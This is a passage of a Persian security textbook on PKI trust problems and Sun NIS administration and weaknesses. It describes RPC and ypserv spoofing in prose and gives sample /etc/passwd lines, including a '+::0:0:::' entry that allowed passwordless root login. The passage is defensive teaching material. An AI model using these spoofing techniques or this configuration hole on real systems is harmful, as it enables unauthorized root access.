پس از این تجربه، بسیاری از مراکز صدور گواهی تصمیمی گرفتند که موجب شد از سویی دیگر مرتکب اشتباه شوند. آنها شروع به توزیع گواهی‌هایی با زمانهای انقضای بسیار طولانی کردند. تمام گواهی‌های توزیع‌شده به همراه Internet Explorer 5.0، گواهی‌های ۱۰۲۴ بیتی RSA هستند، با این وجود بیش از نیمی از این گواهی‌ها تاریخ انقضاهایی برای بعد از ۱ ژانویه ۲۰۱۹ دارند. VeriSign نیز هشت گواهی با تاریخ انقضای سال ۲۰۲۸ همراه Internet Explorer 5.5 توزیع کرده است. بسیاری از متخصصین رمزنگاری معتقدند که RSAهای ۱۰۲۴ بیتی در آن تاریخ دیگر یک سیستم رمزگذاری ایمن محسوب نخواهند شد.

موضوعات خط مشی PKI

نیاز به یک زیرساخت کلید عمومی گسترده اجتناب ناپذیر است. تعداد حوادث کلاهبرداری در اینترنت رو به افزایش است و نیاز به استفاده از امضاهای دیجیتالی برای تجارت زیاد می‌شود. با این همه PKI گستردهٔ امروز بنظر دورتر از اواسط دههٔ ۱۹۹۰ می‌رسد. اینکه کلیدهای خصوصی و گواهی‌های دیجیتالی باید برای اثبات هویت بکار روند برای متخصصان امنیت رایانه‌ای موضوعی کاملاً جا افتاده است، اما درصورتیکه امضای دیجیتالیِ انتهای یک نامهٔ الکترونیکی تصدیق نشود، همین متخصصان برای کسب اطمینان با استفاده از تلفن با یکدیگر تماس می‌گیرند و این دلیلی ندارد جز اینکه فناوری در نهایت سادگی دچار مشکلات ناخواسته و غیرقابل پیش‌بینی می‌شود.

در صفحهٔ بعد، تعداد معدودی از مشکلاتی که در ساختن PKI واقعی باید با آنها مقابله شود مورد اشاره قرار گرفته‌اند.

کلیدهای خصوصی، خود مردم نیستند

امضاهای دیجیتالی اثبات هویت را تسهیل می‌کنند، اما به خودی خود اثباتی برای هویتها نیستند. تا زمانیکه کلید خصوصی بصورت تصادفی تولید و بگونه‌ای ذخیره نشود که تنها بتواند توسط یکنفر مورد استفاده قرار گیرد کل یک فرآیند مورد تردید واقع می‌گردد. متأسفانه هم تولید و هم ذخیرهٔ کلید وابسته به امنیت کاربر نهایی رایانه است، و می‌دانیم بیشتر رایانه‌هایی که Netscape Navigator یا Internet Explorer را اجرا می‌کنند ایمن نیستند. بسیاری از این رایانه‌ها نرم‌افزارهایی را که از اینترنت

146 *Distinguished Name*

download کرده‌اند بدون شناخت کافی از منبع آن اجرا می‌کنند. بعضی از این رایانه‌ها به ویروس آلوده هستند، برخی از برنامه‌های download شده حاوی تراواهای از پیش نصب‌شده می‌باشند، و سیستم‌عاملها و مرورگرهای رایج دچار اشکالات جدی هستند و صدها وصلهٔ امنیتی طی سالیان گذشته برای آنها صادر شده است. پس این امکان وجود دارد که یک سیستم متصل به شبکه در گذشتهٔ نزدیک بوسیلهٔ افراد ناشناخته مورد سوء استفاده قرار گرفته باشد. استفادهٔ گسترده از کارتخوانها و کارتهای هوشمند ممکن است بتواند سرقت کلید خصوصی افراد را دشوارتر کند، اما انجام اینکار را غیرممکن نمی‌سازد.

اسامی ممیزه، خود مردم نیستند

حفاظت از کلیدهای خصوصی برای ایجاد اعتماد به PKI کافی نیست. صحت واقعی نامی که روی قسمت "اسم ممیزه" آمده را چگونه تشخیص می‌دهید؟ هر مرکز صدور گواهی تعهد می‌کند هنگامیکه امضای دیجیتالی کسی را تأیید می‌کند سیاستهای اعلام‌شدهٔ صدور گواهی خود را دنبال کند. از کجا می‌دانید که سیاستهای آن مرکز صدور گواهی تضمین می‌کند که اسم ممیزهٔ روی گواهی واقعاً متعلق به فردی است که آنها فکر می‌کنند متعلق به اوست؟

چگونه اعتماد به یک مرکز صدور گواهی را ارزیابی می‌کنید؟ آیا مراکز صدور گواهی باید شرکتهای خصوصی باشند یا بالعکس؟ مشخص شده که دولتها هنگامیکه منافعشان اقتضا کرده پاسپورتهای جعلی هم صادر کرده‌اند. آیا ممکن است یک مرکز صدور گواهی هم سیاستهای خود را زیر پا بگذارد و اسناد شناسایی دیجیتالی جاعلانه صادر کند؟ از طرف دیگر چگونه یکی از این مراکز را با یک مرکز صدور گواهی دیگر مقایسه می‌کنید؟ بعضی از مراکز صدور گواهی برای اطمینان مشتری، گواهینامه‌های شخص ثالثی چون *SAS 70*[۱۴۷] (گزارش ممیزی خدمات)[۱۴۸] یا *WebTrust برای مراکز صدور گواهی*[۱۴۹] (گزارش تصدیق)[۱۵۰] را اخذ می‌کنند. *کمیتهٔ امنیت اطلاعات انجمن بار آمریکا*[۱۵۱] کتابی بنام *خط مشی‌های ارزیابی PKI*[۱۵۲] منتشر کرده، اما کاربران محدودی مهارت و یا امکان آنرا دارند که بتوانند آندسته از مراکز صدور گواهی که از این خطمشی‌ها استفاده می‌کنند را ارزیابی نمایند.

از لحاظ نظری، بسیاری از این سؤالات می‌توانند از طریق ایجاد استانداردها، ممیزی‌ها، و سیستمهای رسمیِ شناساییِ اعتبار حل شوند. برای خلق استانداردها می‌توان از مقررات نیز بهره گرفت؛ اما در عمل، تلاشهای انجام شده تا امروز چندان امیدبخش نیستند.

رابرت اسمیت‌های بسیار زیادی وجود دارد

با یک گواهی که روی آن نوشته متعلق به "رابرت اسمیت" است چه می‌کنید؟ از کجا می‌فهمید متعلق به کدام رابرات اسمیت است؟ روشن است که یک گواهی باید اطلاعاتی بیش از تنها یک نام از فرد داشته باشد؛ یعنی شامل اطلاعات کافی برای شناسایی حقوقی و یکتای فرد باشد. در هر حال ممکن است شما (فردی که می‌خواهد به گواهی رابرت اسمیت اعتماد کند) این اطلاعات تکمیلی را ندانید – لذا برای شما هنوز رابرت اسمیت‌های بسیار زیادی وجود دارد. البته اگر این گواهی‌های دیجیتالی دارای قسمتهایی برای سن، جنس، یا عکس افراد بودند، کاربران اینترنت می‌گفتند که اگر این شناسه‌ها بدون رضایت کاربر افشا شوند حریم خصوصی آنها مورد تجاوز قرار گرفته است و البته امکان دارد حق با آنها باشد. جلوگیری از این مسئله اصلی‌ترین نقطهٔ قوت کارت شناسایی است: حذف گمنامی و در عین حال حفظ حریم خصوصی، و درنتیجه بوجود آوردن هویت و مسئولیت‌پذیری.

---

۱۴۷ *سیاست استانداردهای ممیزی شمارهٔ ۷۰ (Statement on Auditing Standards؛ SAS) مربوط به سازمانهای خدماتی، یک استاندارد بین‌المللی است که توسط مؤسسه حسابداران عمومی گواهی‌شده آمریکا (American Institute of Certified Public Accountants؛ AICPA) بوجود آمده است. یک ارزیابی SAS 70 تأیید می‌کند که یک مؤسسه خدماتی، اهداف و فعالیتهای نظارتی خود را توسط یک شرکت مستقل حسابرسی و ممیزی به ارزیابی و تأیید رسانده است.*

148 *Service Auditor Report*

۱۴۹ *تحت گواهی WebTrust برای شبکه‌ها، یک ممیز واجد شرایط و مستقل، از یک مجموعه اصول پذیرفته شده استفاده می‌کند تا بفهمد که آیا یک مرکز صدور گواهی فعال از شرایط حداقل افشا، خط مشی، تجربیات، و روالهای نظارتی برخوردار است یا نه.*

150 *Attestation Report*
151 *American Bar Association Information Security Committee*
152 *PKI Assessment Guidelines*

گواهی‌های دیجیتال، تجمیع داده را ساده می‌کنند

طی دو دههٔ گذشته، شناساننده‌های جهانی – مثل شمارهٔ امنیت اجتماعی ایالات متحده – تبدیل به ابزاری برای نقض نظام‌مند حریم خصوصی افراد شده‌اند. شناساننده‌های جهانی می‌توانند برای تجمیع اطلاعات منابع متفاوت بکار روند و پرونده‌های فراگیری برای افراد بوجود آورند. گواهی‌های دیجیتالی صادرشده از یک منطقهٔ مرکزی بصورت بالقوه می‌توانند ابزاری بسیار بهتر از شمارهٔ امنیت اجتماعی برای تجمیع اطلاعات باشند، چون بزرگترین ضعف شماره‌های امنیت اجتماعی – اطلاعات نادرست – را رفع می‌کنند. گاهی اوقات افراد شماره‌های امنیت اجتماعی خود را تعمداً نادرست می‌گویند و گاهی اوقات نیز آنها را اشتباه تایپ می‌کنند؛ اما با وجود گواهی‌های دیجیتالی چنین اختیاری از افراد سلب شده است.

امروز وقتی دو شرکت سعی می‌کنند اطلاعات شناسایی فردی را تطبیق دهند، معمولاً این روند بدلیل عدم تطبیق شماره‌ها به مشکل برخورد می‌کند. گواهی‌های دیجیتالی بدلیل نوع طراحی خود این روند را ساده می‌کند. درنتیجه احتمال ساختن بانکهای اطلاعاتی بزرگ اطلاعات فردی تجمیع شده از منابع متعدد افزایش می‌یابد.

چگونه یک کلید را قرض می‌دهید

فرض کنید شما در بیمارستان مریض هستید و از دوستتان "کارل" می‌خواهید به دفترتان برود و نامه‌های الکترونیکی شما را بیاورد. برای انجام اینکار باید کلید خصوصی خود را به او بدهید. آیا شما باید اینکار را انجام دهید؟ آیا بعد از اینکه کار انجام شد، شما باید کلید خود را باطل کنید؟ فرض کنید یکی از کاربران با قسمتی از یک نرم‌افزار مشکل دارد. وقتی از کلید خصوصی A استفاده می‌کند با مشکل مواجه می‌شود، اما وقتی از کلید خصوصی B استفاده می‌نماید با مشکلی مواجه نمی‌شود. آیا از لحاظ قانونی او باید اجازه داشته باشد که یک نسخه از کلید خصوصی A را به توسعه‌دهندگان نرم‌افزار بدهد تا آنها بتوانند بفهمند که برنامه چه اشکالی دارد؟ یا او با انجام اینکار جامعیت زیرساخت کلید عمومی را به مخاطره نمی‌اندازد؟

حال فرض کنید کلید خصوصی متعلق به فرد خاصی نیست، و مربوط به نقشی است که وی در یک شرکت بر عهده دارد. بعنوان مثال یک کلید خصوصی را درنظر بگیرید که برای امضای سفارشات خرید از آن استفاده می‌شود. آیا درست است که دو نفر آن کلید خصوصی را داشته باشند؟ یا آن شرکت باید دو کلید خصوصی – یک کلید برای هریک از کسانی که باید سفارشات خرید را امضا کنند – بسازد؟

تصدیق هویت در شبکه

برای حل مشکل تصدیق هویت کاربر در محیطهایی که در آنها چند ایستگاه کاری متصل به هم از طریق یک شبکهٔ نامطمئن و احتمالاً ناامن در دسترس کاربران قرار دارند راه‌حلهای زیادی پیشنهاد شده است. برای سادگی ترجیح می‌دهیم اطلاعات حساب کاربری کاربر در یک سرویس‌دهندهٔ مرکزی ذخیره شود، اما برای اطمینان بیشتر ممکن است بخواهیم اطلاعات آن سرویس‌دهندهٔ مرکزی در سرویس‌دهنده‌های دیگر بصورت بلادرنگ ذخیره شود. بدلیل ملاحظات امنیتی لازم است مطمئن شویم زمانیکه کاربر وارد یک ایستگاه کاری می‌شود، هویتش با استفاده از اطلاعات سرویس‌دهندهٔ مرکزی و بدون افشای اطلاعات محرمانه روی شبکهٔ نامطمئن تصدیق می‌شود. اگرچه برای این مسئله راه‌حلهایی – مثل NIS، NIS+، Kerberos، و LDAP – ارائه شده، اما هیچیک در سراسر جهان و بصورت قطعی پذیرفته نشده‌اند. NIS و NIS+ ابتدا در محیطهایی با چندین ایستگاه کاری Unix استفاده می‌شدند؛ و Kerberos و LDAP نیز علاوه بر این محیطها قسمت مهمی از سیستم‌عاملهای مبتنی بر Windows NT را تشکیل می‌دهند.

خدمات اطلاعات شبکه‌ای SUN

یکی از قدیمی‌ترین و مشهورترین سیستمهای راهبری توزیع‌شدهٔ پایگاه داده، *خدمات اطلاعات شبکه‌ای* (NIS)[۱۵۳] شرکت Sun است. چند سال بعد NIS+ عرضه شد، که نوع بهبود یافته و البته پیچیده‌تر NIS است. کمی اخیرتر سرویس‌دهنده‌های *LDAP* (پروتکل سبک‌وزن دسترسی به دایرکتوری)[۱۵۴] محبوبیت بیشتری پیدا کرد، و هم‌اکنون کاربران Sun به خدمات مبتنی بر LDAP روی می‌آورند. با اینکه Sun بدلایل امنیتی از کاربران خود خواست که از NIS استفاده نکنند، اما هنوز در بسیاری از محیطها از آن استفاده می‌شود.

NIS یک سیستم پایگاه داده‌ای توزیع‌شده است که باعث می‌شود چندین رایانه بتوانند از فایلهای رمز عبور، فایلهای گروه، جداول میزبانها و فایلهای دیگر در شبکه استفاده کنند. هرچند بنظر می‌رسد فایلها روی هریک از رایانه‌ها وجود دارند، اما در حقیقت تنها در یک رایانه ذخیره شده‌اند که سرویس‌دهندهٔ اصلی NIS نامیده می‌شود (و احتمالاً روی یک پشتیبان یا سرویس‌دهنده دوم تکرار شده است). رایانه‌های دیگر شبکه – سرویس‌گیرنده‌های NIS – می‌توانند از پایگاه داده‌هایی که در سرویس‌دهندهٔ اصلی ذخیره شده‌اند (مثل فایلهای رمزهای عبور) بگونه‌ای استفاده کنند که گویا اطلاعات بصورت محلی ذخیره شده است. این پایگاههای داده *نگاشتهای NIS*[۱۵۵] نامیده می‌شوند.

با استفاده از NIS یک شبکهٔ بزرگ آسانتر اداره می‌شود، چون تمام اطلاعات حساب کاربری و پیکربندی روی یک رایانه ذخیره می‌شود، درحالیکه می‌توان از آنها روی همهٔ سیستمهای شبکه استفاده کرد.

بعضی از فایلها در نگاشتهای NIS با فایلهای متناظر خود جایگزین می‌شوند و بعضی دیگر به داده‌هایشان افزوده می‌گردد. در مورد این فایلها NIS از علامت جمع (+) برای اعلام توقف عملیات خواندن فایل به سیستم استفاده می‌کند (مثلاً /etc/passwd) و سپس پرس و جو از سرویس‌دهنده NIS را از یک نگاشت مناسب NIS (مثل passwd) آغاز می‌کند. سرویس‌دهنده معمولاً چندین نگاشت را بر اساس یکی از فایلهای ذخیره‌شده در شاخهٔ /etc مثل /etc/passwd، /etc/hosts، و /etc/services پشتیبانی می‌کند. بعنوان مثال، فایل /etc/passwd در یک سرویس‌گیرنده ممکن است به این صورت دیده شود:

```
root:si4NOjF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+:: 999:999:::
```

این مسئله باعث می‌شود برنامه، فایل /etc/passwd را از سرویس‌گیرنده بخواند تا یک درخواست شبکه برای خوانده‌شدن نگاشت passwd روی سرویس‌گیرنده ایجاد کند. معمولاً نگاشت passwd از فایل /etc/passwd روی سرویس‌دهنده ساخته می‌شود، هرچند همیشه اینطور نیست. وقتی NIS فایل /etc/passwd را بررسی می‌کند، زمانیکه به اولین خط قابل تطبیق برسد کار را متوقف خواهد کرد. می‌توانید عملیات دریافت حسابهای کاربری را با اضافه کردن یک شناسهٔ کاربری به بعد از علامت "+" به تعداد خاصی از کاربران محدود کنید. همچنین می‌توانید شناسه‌های کاربری خاصی را با گذاشتن خطی که با علامت تفریق (-) شروع می‌شود از دریافت کردن مستثنی کنید.

NIS همچنین شما را قادر می‌سازد که بصورت انتخابی بعضی دامنه‌ها را از برخی پایگاههای دادهٔ /etc/passwd وارد کنید. بعنوان مثال، اگر دادهٔ زیر را در فایل /etc/passwd داشته باشید:

```
root:si4NOjF9Q8JpE:0:Mr. Root:/:/bin/sh
+:*:999:999:::
```

آنگاه کلیهٔ داده‌های موجود در نگاشت passwd مربوط به NIS وارد خواهند شد، اما هریک دارای دادهٔ رمز عبور مربوط به خود خواهند بود که با "*" جایگزین شده و از مورد استفاده قرار گرفتن آن در ماشین سرویس‌گیرنده جلوگیری می‌کند. همهٔ UIDها و

153 *Network Information Service*
154 *Lightweight Directory Access Protocol*
155 *NIS Maps*

اسامی حسابهای کاربری را بردارید، بگونه‌ای که فهرستهای فایل، مالکان فایلها و شاخه‌ها را نیز مانند اسامی کاربری نمایش دهند. این داده همچنین به user~ در پوسته‌های مختلف اجازه می‌دهد بدرستی شاخهٔ خانهٔ کاربر را نگاشت کنند (با این فرض که آن شاخه با استفاده از NFS، mount شده است).

دامنه‌های NIS

وقتی یک سرویس‌دهنده NIS را پیکربندی می‌کنید باید یک *دامنهٔ NIS*[۱۵۶] مشخص نمایید. این دامنه‌ها مشابه دامنه‌های DNS نیستند. دامنه‌های DNS یک منطقه از اینترنت را مشخص می‌کنند، درحالیکه دامنه‌های NIS یک گروه راهبری رایانه‌ها را معین می‌نمایند. فرمان domainname در Unix برای نمایش و تغییر نام یک دامنه استفاده می‌شود. یک رایانه در هر زمان تنها می‌تواند در یک دامنهٔ NIS باشد، اما می‌تواند به هر تعدادی از دامنه‌های NIS خدمات ارائه کند.

از دامنهٔ اینترنت خود بعنوان دامنهٔ "گروه شبکه" خود استفاده نکنید. تنظیم این دو دامنه به یک نامِ مشابه در بعضی از نگارشهای sendmail باعث بروز مشکلاتی شده است. همچنین استفاده از یک دامنهٔ NIS که به آسانی حدس زده می‌شود مخاطرات امنیتی پدید می‌آورد. ابزارهای نفوذگران که تلاش می‌کنند از نقایص NIS و NFS بهره‌برداری کنند تقریباً همیشه قبل از هر انجام هر تلاشی سعی می‌کنند از گونه‌های مختلف نام دامنه اینترنت بعنوان نام دامنه NIS استفاده کنند. (البته نام دامنه NIS کماکان از روشهای دیگر قابل تعیین است.)

گروه‌های شبکه‌ای NIS

با استفاده از *گروههای شبکه‌ای NIS*[۱۵۷] می‌توانید گروههایی برای کاربران یا ماشینهای روی شبکه ایجاد کنید. گروههای شبکه در اصل شبیه گروههای محلی کاربران هستند، اما بسیار پیچیده‌تر از آنها.

هدف اولیهٔ گروههای شبکه سادەسازی فایلهای پیکربندی و کاهش امکان اشتباه است. با مشخص کردن و استفادهٔ صحیح از گروههای شبکه، می‌توان با محدود کردن افراد و ماشینهایی که به منابع حیاتی دسترسی دارند سطح ایمنی سیستم را ارتقا داد.

پایگاه دادهٔ گروه شبکه روی سرویس‌دهندهٔ اصلی NIS در فایل /usr/etc/netgroup یا /etc/netgroup نگهداری می‌شود. این فایل شامل یک یا چند خط در قالب زیر است:

Groupname member1 member2 ...

هریک از اعضا می‌توانند یک میزبان و یک دامنهٔ NIS تعیین کنند. قالب اعضا چنین است:

(hostname, username, domainname)

اگر جای یک شناسهٔ کاربری (username) خالی باشد، آنگاه هر کاربرِ نام میزبان در میزبان، عضوی از گروه است. اگر جای یک نام دامنه (domainname) خالی باشد، آنگاه دامنهٔ جاری درنظر گرفته می‌شود.[۱۵۸]

نصب گروه‌های شبکه

برنامهٔ /etc/yp/makedbm (که گاهی اوقات در مسیر /usr/etc/yp/makedbm قرار گرفته) فایل گروه شبکه را در تعدادی از فایلهای پایگاه داده که در مسیرهای زیر ذخیره شده‌اند پردازش می‌کند:

---

156 *NIS Domain*

157 *NIS Netgroups*

۱۵۸ *بهترین راه این است که گروه‌های شبکه بگونه‌ای ساخته شوند که در آن هریک از اعضا یک شناسهٔ کاربری داشته باشد (یک گروه شبکه از کاربران)، یا یک نام میزبان داشته باشد، ولی شناسهٔ کاربری نداشته باشد (یک گروه شبکه از میزبانها). ساختن گروه‌های شبکه‌ای که در آنها بعضی از اعضا کاربران هستند و بعضی از اعضا میزبان، احتمال خطا را افزایش می‌دهد.*

/etc/yp/domainname/netgroup.dir
/etc/yp/domainname/netgroup.pag
/etc/yp/domainname/netgroup.byuser.dir
/etc/yp/domainname/netgroup.byuser.pag
/etc/yp/domainname/netgroup.byhost.dir
/etc/yp/domainname/netgroup.byhost.pag

توجه داشته باشید که در بعضی ماشینها ممکن است /etc/yp بصورت سمبلیک به /var/yp لینک شده باشد.

اگر سازمان کوچکی دارید می‌توانید تنها دو گروه شبکه بسازید؛ یکی برای کلیهٔ کاربران و دیگری برای کلیهٔ ماشینهای سرویس‌گیرنده. این گروهها ایجاد و راهبری فایلهای پیکربندی سیستم شما را آسانتر می‌کنند.

اگر سازمان بزرگتری دارید می‌توانید چند گروه بسازید. مثلاً می‌توانید یک گروه برای کاربران هر دپارتمان بسازید. آنگاه می‌توانید یک گروه اصلی داشته باشید که شامل همهٔ زیرگروههای دیگر باشد. البته می‌توانید همین کار را برای رایانه‌ها نیز انجام دهید.

یک دپارتمان علوم با ساختاری مشابه ساختار زیر را درنظر بگیرید:

Math (mathserve,,) (math1,,) (math2,,) (math3,,)
Chemistry (chemserve1,,) (chemserve2,,) (chem1,,) (chem2,,) (chem3,,)
Biology (bioserve1,,) (bio1,,) (bio2,,) (bio3,,)
Science Math Chemistry Biology

گروه‌های شبکه از بعد امنیت حائز اهمیت هستند چون شما از آنها برای محدود کردن کاربران و ماشینهایی که روی شبکه به اطلاعات ذخیره‌شدهٔ رایانه‌ها دسترسی دارند استفاده می‌کنید. برای محدود کردن داده‌هایی که به یک سیستم وارد می‌شوند می‌توانید از گروههای شبکه در فایلهای NFS برای محدود کردن اینکه چه کسی به partitionها و فایلهای داده نظیر /etc/passwd دسترسی دارد بهره ببرید.

استفاده از گروه‌های شبکه برای محدودکردن ورود حسابهای کاربری

می‌توانید از تسهیلات گروه‌های شبکه برای کنترل اینکه کدام حسابهای کاربری بوسیلهٔ فایل /etc/passwd وارد شده‌اند استفاده کنید. بعنوان مثال اگر بخواهید فقط حسابهای کاربری یک گروه شبکه خاص را وارد کنید از علامت جمع (+) و یک نشانه @ به همراه نام گروه شبکه مورد نظر استفاده می‌نمایید:

root:si 4NOjF9Q8JqE:0:1:Mr. Root:/:/bin/sh
+@operators::999:999:::

دستورات بالا رمز عبور کاربرانی که در گروه متصدی‌ها فهرست شده‌اند را از نگاشت NIS به حافظه منتقل می‌کنند. همچنین اگر استثناها را قبل از گروه‌های شبکه فهرست کنید می‌توانید با استفاده از علامت تفریق (-) کاربران یا گروههای کاربری را مستثنی نمایید.

نمادهای +@netgroup و -@netgroup روی همهٔ نسخه‌های NIS کار نمی‌کنند و تا کنون روی بقیه نسخه‌ها هم بصورت قابل اطمینان کار نکرده‌اند. اگر قصد دارید از این قابلیتها استفاده کنید، سیستم خود را ارزیابی کنید تا مطمئن شوید آنها همانگونه که باید عمل می‌کنند. یادآوری می‌شود که صرف خواندن اسناد برای این منظور کفایت نمی‌کند.

محدودیت‌های NIS

استفاده از NIS، نقطه شروع بسیاری از تجربیات موفق در شبکه‌های Unix بود. چون NIS حسابهای کاربری را کنترل می‌کند، اگر بتوانید یک سرویس‌دهنده NIS را قانع کنید که روی کل شبکه اعلام کند که شما یک حساب کاربری دارید، می‌توانید از آن

حساب کاربری برای نفوذ به یک سرویس‌گیرندهٔ آن شبکه استفاده نمایید. NIS همچنین می‌تواند اطلاعات محرمانه‌ای مثل رمزهای عبور رمزشده را در دسترس عموم قرار دهد.

در پیاده‌سازیهای فروشندگان مختلف NIS چند نقص طراحی وجود دارد که به کاربر اجازه می‌دهد سیستم NIS را پیکربندی مجدد و گمراه کند. این گمراه‌سازی به دو روش می‌تواند انجام گیرد: گمراه‌سازی سیستم فراخوانی تابع از راه دور، و گمراه‌سازی NIS.

گمراه‌سازی RPC

فراخوانی تابع از راه دور (RPC)[۱۵۹] سیستمهای متصل به شبکه را قادر می‌سازد که توابع سیستمهای دیگر را فراخوانی کنند. سیستم NIS به عملکرد سرویسهای RPC portmapper – یک daemon که نامهای خدمات ارائه‌شده برای RPC را با شمارهٔ پورتهای IP که می‌توان با آن خدمات تماس برقرار کرد مطابقت می‌دهد – وابسته است. سرویس‌دهنده‌هایی که از RPC استفاده می‌کنند وقتی کارشان آغاز می‌شود خود را با portmapper ثبت می‌نمایند، و زمانیکه کارشان به پایان می‌رسد یا پیکربندی مجدد می‌گردند، خودشان را از پایگاه داده portmapper حذف خواهند کرد.

در نسخه‌های اولیهٔ portmapper هر برنامه‌ای قادر بود خود را بعنوان یک سرویس‌دهندهٔ RPC ثبت کند، و این مسئله به مهاجمین فرصت می‌داد که سرویس‌دهنده‌های NIS خود را ثبت کنند و با فایلهای رمز عبور خودشان به درخواستها پاسخ دهند. بیشتر نسخه‌های فعلی portmapper تقاضاهای ثبت یا حذف خدمات را درصورتیکه از دستگاه راه دور آمده باشد، یا به یک پورت مجاز بازگردد که از یک اتصال شروع‌شده از یک پورت غیرمجاز می‌آید، رد می‌کنند. بنابراین تنها کاربر اصلی می‌تواند تقاضاهایی برای اضافه و حذف کردن نگاشتهای خدمات به پورتهای مجاز انجام دهد، و تمام تقاضاها فقط می‌توانند بصورت محلی انجام شوند. با اینحال نسخه‌های portmapper daemon مربوط به همهٔ فروشندگان این بررسیها را انجام نمی‌دهند.

توجه داشته باشید که NFS و بعضی از خدمات NIS معمولاً روی پورتهای غیرمجاز ثبت می‌شوند. از لحاظ نظری حتی با بررسیهایی که در بالا فهرست شد، مهاجم می‌تواند یکی از این خدمات را با یک برنامهٔ مخصوص جایگزین کند تا بتواند به تقاضاهای سیستم بگونه‌ای پاسخ دهد که امنیت سیستم خدشه‌دار گردد.

گمراه‌سازی NIS

سرویس‌گیرندگان NIS با استفاده از RPC، از یک سرویس‌دهندهٔ NIS اطلاعات دریافت می‌کنند. یک daemon محلی به نام ypbind اطلاعات تماس را برای daemon مربوطهٔ سرویس‌دهنده NIS به نام ypserv در حافظه نگه می‌دارد. ypserv می‌تواند بصورت محلی یا راه دور اجرا شده باشد.

تحت نسخه‌های اولیهٔ Sun OS از خدمات NIS (و احتمالاً نسخه‌های فروشندگان دیگر) این امکان وجود داشت که یک برنامه که مثل ypserv کار می‌کند و به تقاضاهای ypbind جواب می‌دهد را instantiate کرد. در آنصورت می‌توان به deamon محلی ypbind فرمان داد که بجای ypserv واقعی از آن برنامه مشابه استفاده کند. بنابراین مهاجم می‌تواند سیستم را طوری پیکربندی کند که برای مثال نسخهٔ خودش از فایل رمز عبور برای پاسخگویی به تقاضاهای ورود به سیستم مورد استفاده قرار بگیرد!

پیاده‌سازیهای فعلی NIS از ypbind حاوی یک پارامتر خط فرمان secure– یا s– است که هنگام صدور دستور شروع به کار daemon می‌تواند بکار رود. اگر از این پارامتر استفاده شده باشد، ypbind daemon هیچ اطلاعاتی را از سرویس‌دهنده‌های ypserv که روی پورتهای مجاز اجرا نمی‌شوند نخواهد پذیرفت. لذا اگر کاربری بخواهد یک ypserve daemon جعلی وارد حافظه کند تلاشش نادیده گرفته می‌شود. معمولاً دلیل قانع‌کننده‌ای برای عدم استفاده از پارامتر secure- وجود ندارد.

متأسفانه پارامتر secure- دارای یک نقص است. اگر مهاجم بتواند حساب کاربری root را روی هر ماشین دیگر متصل به شبکه محلی عوض کند و یک نسخه از ypserv را با استفاده از اطلاعات NIS خودش به اجرا درآورد، برای انجام حمله تنها باید

---

159 *Remote Procedure Call*

ypbind هدف را به آن سرویس‌دهنده اشاره دهد. سرویس‌دهندهٔ مورد حمله واقع‌شده ممکن است روی یک پورت مجاز درحال اجرا باشد، و لذا پاسخهای آن رد نخواهند شد. مهاجم همچنین می‌تواند یک ypserv قلابی بنویسد که روی یک سیستم سازگار با رایانه‌های شخصی به اجرا درآید. پورتهای مجاز در اینحالت معنای خاصی ندارند، لذا هر کاربر می‌تواند سرویس‌دهنده را روی هر پورتی اجرا کند و اطلاعات را برای روند ypbind مقصد تأمین نماید.

NIS با "+" سردرگم می‌شود

حتی وقتی سرویس‌گیرنده‌های NIS با سرویس‌دهنده‌های صحیح تماس برقرار می‌کنند، ممکن است NIS مشکلات امنیتی دیگری بوجود بیاورد. بعنوان مثال ترکیبی از اشتباهات در توسعهٔ اولیه و مجدد NIS باعث بروز سردرگمی‌هایی در مورد علامت جمع (+) NIS در فایل /etc/passwd شده است.

اگر شما از NIS استفاده می‌کنید بسیار مراقب باشید که علامت جمع (+) در فایل /etc/passwd روی سرویس‌گیرنده باشد، و نه روی سرویس‌دهنده‌ها. در سرویس‌دهنده‌های NIS تحت بعضی از نسخه‌های سیستم‌عامل Unix، علامت جمع می‌تواند بعنوان یک نام کاربری تعبیر شود. ساده‌ترین روش برای پیشگیری از این مشکل، کسب اطمینان از نداشتن یک حساب کاربری با نام "+" روی سرویس‌دهندهٔ NIS است.

تلاش برای فهمیدن اینکه چه چیزهایی را باید روی سرویس‌دهنده گذاشت یک مشکل دیگر است. در نسخه‌های اولیه NIS، خط زیر هم وجود داشت:

```
+::0:0:::
```

که در SunOS و Solaris صحیح بود.

متأسفانه همین یک خط باعث بوجود آمدن یک مشکل می‌شد. وقتی NIS درحال اجرا نبود، گاهی اوقات علامت جمع بعنوان نام حساب کاربری درنظر گرفته می‌شد و هر کسی می‌توانست با تایپ کردن "+" سیستم به رایانه وارد شود و بدون رمز عبور به اعلان فرمان دسترسی پیدا کند. بدتر از همه اینکه آن فرد با امتیازات پردسترسی‌ترین کاربر وارد می‌شد.[۱۶۰]

یک روش برای به حداقل رساندن خطر در سرویس‌گیرنده‌های NIS استفاده از یک رمز عبور برای کاربر "+" بود. علامت جمع را در حالت زیر درنظر بگیرید:

```
+:*:0:0:::
```

متأسفانه، تحت بعضی نسخه‌های NIS، این قلم داده به این معنا است که "فایل نگاشت passwd را وارد کن، اما تمام رمزهای عبور رمزگذاری‌شده را به "*" تغییر بده"، و اینکار طبیعتاً از ورود هر کسی به سیستم جلوگیری می‌کرد. بنابراین وجود این قلم داده هم صحیح نبود!

یکی از ساده‌ترین راههها برای رویارویی با این سردرگمی، استفاده از نام کاربریِ "+" برای ورود به سرویس‌گیرنده‌ها و سرویس‌دهنده‌های NIS است. همچنین می‌توانید کابل شبکه را در آورید و سپس برای ورود به سیستم تلاش کنید، تا اتفاقی که هنگام در دسترس نبودن سرویس‌دهندهٔ NIS برای رایانه می‌افتد شبیه‌سازی شود. در هر دو حالت نباید بتوانید فقط با تایپ کردن "+" بعنوان نام کاربری وارد سیستم شوید. این آزمون به شما خواهد گفت که سرویس‌دهنده بدرستی پیکربندی شده یا خیر.

اگر نسخهٔ جدیدی از سیستم‌عامل خود را اجرا می‌کنید، گمان نکنید که سیستمتان نسبت به سردرگمی زیرسیستمهای NIS در قبال "+" ایمن است. بطور خاص، بعضی از نسخه‌های NIS روی Linux هم این اشتباه را مرتکب می‌شوند.

---

۱۶۰ *در پیاده‌سازی Sun از NIS و شاید بعضی پیاده‌سازیهای دیگر، این خطر می‌تواند با جلوگیری از تغییر مقادیر UID و GID اقلام NIS موجود در فایل passwd به صفر، و یا سایر مقادیر توسط کاربران محلی به نوعی اصلاح شود.*

بهبود امنیت NIS

